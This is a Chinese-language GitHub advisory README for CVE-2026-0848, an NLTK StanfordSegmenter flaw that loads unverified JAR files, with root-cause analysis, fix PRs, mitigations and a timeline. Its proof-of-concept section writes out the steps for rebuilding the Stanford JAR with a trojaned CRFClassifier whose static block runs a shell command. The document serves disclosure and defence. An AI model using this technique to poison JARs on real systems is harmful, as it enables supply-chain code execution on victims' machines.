HyperPS/CVE-2026-0848

GitHub: HyperPS/CVE-2026-0848

该仓库详细记录了 NLTK StanfordSegmenter 因未验证外部 JAR 文件而导致的供应链远程代码执行漏洞(CVE-2026-0848),包含完整的根本原因分析、PoC 利用代码及修复方案。

Stars: 0 | Forks: 0

# CVE-2026-0848 — NLTK StanfordSegmenter:通过不受信任的 JAR 加载实现任意代码执行

## 概述 | 字段 | 详情 | |---|---| | **CVE ID** | CVE-2026-0848 | | **包** | `nltk` (Natural Language Toolkit) | | **Registry** | PyPI | | **受影响版本** | `<= 3.9.2` | | **漏洞类型** | CWE-20:输入验证不当 | | **CVSS 评分** | 10.0 (严重) | | **攻击向量** | 网络 | | **攻击复杂度** | 低 | | **所需权限** | 无 | | **用户交互** | 无 | | **影响范围** | 已改变 | | **机密性影响** | 高 | | **完整性影响** | 高 | | **可用性影响** | 高 | | **报告日期** | 2025 年 12 月 6 日 | | **CVE 发布日期** | 2026 年 3 月 | | **支持方** | Palo Alto Networks / Prisma AIRS | ## 漏洞描述 `nltk.tokenize.StanfordSegmenter` 通过 `subprocess` 动态加载外部 Java `.jar` 文件,未执行任何完整性验证、签名检查或沙箱隔离。该类接受完全由攻击者控制的参数,包括 `path_to_jar`、`path_to_model`、`path_to_dict` 和 `java_class`,并将它们直接传递给 `java -cp` 调用。 如果攻击者能够提供或替换 JAR 文件 —— 例如通过植入恶意模型的下载链接、中间人攻击替换包、依赖投毒或被破坏的发布镜像 —— 任意 Java 字节码将在类加载时通过 JVM 的静态初始化机制执行。这构成了一个**供应链远程代码执行**漏洞,并能完全逃逸 Python 运行时环境。 ## 受影响的组件 | 文件 | 行号 | 描述 | |---|---|---| | `nltk/tokenize/stanford_segmenter.py` | L53–L118 | 接受攻击者控制的 `path_to_jar`、`path_to_model`、`path_to_dict` 和 `java_class`,未进行任何验证 | | `nltk/internals.py` | L220–L300 | 使用用户控制的 JAR 路径和 classpath 直接启动 Java 执行,没有沙箱隔离或校验和验证 | | `nltk/internals.py` | L109–L152 | `subprocess.Popen()` 使用未经校验的 classpath 输入执行 Java,允许 JVM 加载任意字节码并运行静态初始化块 | ## CVSS 向量 ``` CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H ``` | 指标 | 值 | |---|---| | 攻击向量 | 网络 | | 攻击复杂度 | 低 | | 所需权限 | 无 | | 用户交互 | 无 | | 影响范围 | 已改变 | | 机密性影响 | 高 | | 完整性影响 | 高 | | 可用性影响 | 高 | ## 影响范围 成功利用此漏洞将授予攻击者对运行 NLTK 分词进程的系统的**完全控制权**: - **任意 Java 代码执行** —— 嵌入在恶意 JAR 中的任何字节码都将继承 Python/Java 进程的权限运行 - **Python 运行时逃逸** —— 执行过程转移至 JVM,完全绕过 Python 级别的沙箱隔离 - **操作系统级命令执行** —— 攻击者可以调用 `Runtime.getRuntime().exec()` 或 `ProcessBuilder` 来运行任意 shell 命令 - **数据窃取与篡改** —— 访问进程可读取的所有文件、环境变量、API 密钥和机密信息 - **整个环境沦陷** —— 在 CI/CD、生产环境的 NLP pipeline 或服务器环境中,单个恶意 JAR 即可导致主机被完全接管 ### 高风险部署场景 | 场景 | 影响 | |---|---| | ML 研究人员从互联网加载预训练的分词器 | 远程攻击者获得代码执行权限 | | 组织下载了被篡改的中文分词模型 ZIP 文件 | 恶意软件在生产环境的 NLP pipeline 内部执行 | | CI/CD 服务器通过 `wget`/`unzip` 从非 HTTPS 镜像安装模型 | 整个环境被完全攻破 | | 依赖项被接管或发布镜像被投毒 | 完整的供应链远程代码执行 (RCE) | 此漏洞影响任何使用 `StanfordSegmenter` 的 NLP 工作流,包括聊天机器人、LLM 预处理 pipeline、数据集分词、文档分类以及生产环境推理服务。 ## 概念验证 ### 步骤 1 — 使用恶意 Java 类替换核心分类器 ``` cd stanford-segmenter-2020-11-17/merged jar xf ../stanford-segmenter-4.2.0.jar rm -rf edu/stanford/nlp/ie/crf/CRFClassifier.class cat << 'EOF' > edu/stanford/nlp/ie/crf/CRFClassifier.java package edu.stanford.nlp.ie.crf; public class CRFClassifier { static { try { System.out.println("\nPayload executed — Code ran on class load!\n"); Runtime.getRuntime().exec("touch /tmp/pwned_hijack"); } catch(Exception e){} } public static void main(String[] args){} } EOF javac edu/stanford/nlp/ie/crf/CRFClassifier.java jar cfm exploit.jar META-INF/MANIFEST.MF * cp exploit.jar ../stanford-segmenter.jar ``` ### 步骤 2 — 构建恶意 JAR ``` mkdir merged && cd merged javac Payload.java jar xf ../stanford-segmenter-4.2.0.jar jar xf ../stanford-corenlp-4.2.0/stanford-corenlp-4.2.0.jar jar cfm exploit.jar META-INF/MANIFEST.MF * jar uf exploit.jar Payload.class cp exploit.jar ../stanford-segmenter.jar cd .. ``` ### 步骤 3 — 通过 NLTK 触发 ``` # test.py from nltk.tokenize.stanford_segmenter import StanfordSegmenter print("[+] Triggering payload via modified Stanford JAR...") seg = StanfordSegmenter( path_to_jar="stanford-segmenter.jar", path_to_sihan_corpora_dict="./data/", path_to_dict="./data/dict-chris6.ser.gz", path_to_model="./data/pku.gz", java_class="edu.stanford.nlp.ie.crf.CRFClassifier", encoding="utf-8" ) print("[+] Running segmentation...") print(seg.segment("我爱自然语言处理")) ``` **输出:** ``` [+] Triggering payload via modified Stanford JAR... Payload executed — Code ran on class load! [+] Running segmentation... 我 爱 自然语言 处理 ``` **确认 RCE:** ``` ls /tmp | grep pwned_hijack # pwned_hijack ``` ## 根本原因 该漏洞存在于两个文件中: **`stanford_segmenter.py`** —— `StanfordSegmenter` 类的构造函数接受 `path_to_jar`、`path_to_model`、`path_to_dict` 和 `java_class` 作为普通字符串参数,并将它们直接转发到 Java 执行层,而未执行以下任何操作: - 路径白名单或受信任目录强制检查 - 对 JAR 进行 SHA-256 或加密签名验证 - 根据已知安全的类名集合验证 `java_class` 参数 **`internals.py`** —— `java()` 辅助函数使用用户提供的 classpath 构建并启动 `subprocess.Popen()` 调用。JVM 立即加载提供的 JAR 中的所有类,在应用程序逻辑运行之前执行任何静态初始化块。没有沙箱、没有完整性检查门,也没有阻止注入字节码执行的机制。 ## 修复方案 该漏洞已在 NLTK 上游仓库中完全解决。 | 资源 | 链接 | |---|---| | **核心安全修复(所有 CVE)** | [https://github.com/nltk/nltk/pull/3522](https://github.com/nltk/nltk/pull/3522) | | 研究人员的初始修复 PR | https://github.com/nltk/nltk/pull/3477 (已合并) | 请尽快升级到包含修复的 NLTK 版本(一旦其在 PyPI 上发布)。 ## 缓解措施 | 操作 | 详情 | |---|---| | **升级 NLTK** | 更新到高于 3.9.2 且包含来自 PR #3522 修复的版本 | | **不要使用用户控制的 JAR 路径** | 绝不允许用户输入影响 `path_to_jar`、`path_to_model` 或 `java_class` 参数 | | **验证 JAR 完整性** | 在使用前,务必根据官方发布的哈希值验证下载的 JAR 文件的 SHA-256 校验和 | | **仅使用 HTTPS 源** | 专门从官方 HTTPS 源下载模型文件和 JAR;拒绝任何 HTTP 或未经验证的镜像 | | **最小权限原则** | 以具有最低文件系统和网络权限的受限 OS 用户身份运行基于 NLTK 的服务 | | **容器化部署** | 将 NLP 服务隔离在 Docker 容器或类似沙箱中,以限制基于 JAR 攻击的波及范围 | | **依赖项监控** | 使用软件成分分析工具检测 CI/CD pipeline 中被篡改或替换的 JAR 依赖项 | **通过 pip 升级:** ``` pip install --upgrade nltk ``` **验证安装的版本:** ``` python -c "import nltk; print(nltk.__version__)" ``` ## 时间线 | 日期 | 事件 | |---|---| | 2025 年 12 月 6 日 | 漏洞由研究员 hyperps1 (Sarvesh Patil) 报告至 huntr.dev | | 2025 年 12 月 | 通过 huntr.dev 通知 NLTK 维护团队 | | 2026 年 1 月 | NLTK 维护者验证了该漏洞;发放了披露赏金 | | 2026 年 1 月 | 分配 CVE-2026-0848 | | 2026 年 1 月 | 研究人员的修复 PR #3477 提交并合并 | | 2026 年 2 月 | 向 NLTK 维护者发送了 48 小时的发布前预警 | | 2026 年 3 月 | CVE 在 NVD 和 huntr.dev 上发布 | | 2026 年 3 月 | 通过 PR #3522 合并了针对所有 CVE 的核心安全修复 | ## 参考资料 | 资源 | 链接 | |---|---| | NVD 条目 | https://nvd.nist.gov/vuln/detail/CVE-2026-0848 | | 官方 CVE 记录 | https://cve.org/CVERecord?id=CVE-2026-0848 | | huntr.dev 报告 | https://huntr.dev | | 核心修复 PR | https://github.com/nltk/nltk/pull/3522 | | 研究人员修复 PR | https://github.com/nltk/nltk/pull/3477 | | PyPI 上的 NLTK | https://pypi.org/project/nltk/ | | Stanford Word Segmenter | https://nlp.stanford.edu/software/segmenter.html | | OWASP — 任意代码执行 | https://owasp.org/www-community/attacks/Code_Injection | | OWASP — 不受信任的搜索路径 | https://owasp.org/www-community/vulnerabilities/Unsafe_use_of_Reflection | | CWE-20:输入验证不当 | https://cwe.mitre.org/data/definitions/20.html | | CWE-502:不受信任数据的反序列化 | https://cwe.mitre.org/data/definitions/502.html | ## 免责声明 本仓库记录 CVE-2026-0848 严格仅用于**教育、研究和防御安全目的**。提供概念验证代码和技术细节旨在帮助开发人员、安全工程师和系统管理员理解、评估和修复此漏洞。 任何利用此信息在未经明确授权的情况下访问或破坏系统的行为都是非法且不道德的。作者对此处所含信息的滥用不承担任何责任。 贡献者:[ketanHub](https://github.com/ketanHub)
标签:CISA项目, CVE, CVE-2026-0848, CVSS 10.0, CWE-20, Go语言工具, JAR文件加载, JS文件枚举, MITM, NLP, NLTK, Palo Alto Networks, PyPI, Python, RCE, 中间人攻击, 代码安全, 任意代码执行, 供应链攻击, 依赖混淆, 包管理安全, 子进程调用, 安全漏洞, 数字签名, 数据展示, 无后门, 漏洞分析, 漏洞枚举, 红队, 编程工具, 网络安全, 路径探测, 输入验证不当, 远程代码执行, 逆向工具, 隐私保护